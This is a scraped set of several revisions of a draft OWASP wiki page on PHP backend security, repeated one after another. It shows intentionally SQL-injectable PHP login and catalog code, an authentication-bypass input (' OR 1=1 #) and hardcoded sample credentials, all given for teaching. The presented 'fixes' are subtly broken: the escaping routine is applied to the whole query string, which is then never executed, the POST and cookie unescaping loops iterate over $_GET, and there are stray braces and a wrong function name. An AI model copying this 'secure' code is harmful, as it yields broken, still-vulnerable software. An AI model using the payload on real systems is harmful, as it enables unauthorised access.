* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30173OWASP Backend Security Project PHP Security Programming2008-06-02T22:04:10Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
/* Display retrieved book entry */<br />
<br />
?><br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30172OWASP Backend Security Project PHP Security Programming2008-06-02T22:03:44Z<p>Dbellucci: /* Prepared Statements */</p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
/* Display retrieved book entry */<br />
<br />
?><br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30170OWASP Backend Security Project PHP Security Programming2008-06-02T21:21:58Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such a issue can be easly fixed by:<br />
<br />
* Deny remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
* Secure File Inclusion<br />
<nowiki><br />
<?php<br />
<br />
if (!defined('SECURITY_INCLUDE_TOKEN') || SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* php_value<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host “127.0.0.1”<br />
php_value mysql.default_user “owaspuser”<br />
php_value mysql.default_password “owasppassword”<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?><br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30104OWASP Backend Security Project PHP Security Programming2008-06-02T11:53:17Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup on his laptop your Database content, or even worst can spawn a remote shell into it.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== Escaping Quotes ===<br />
<br />
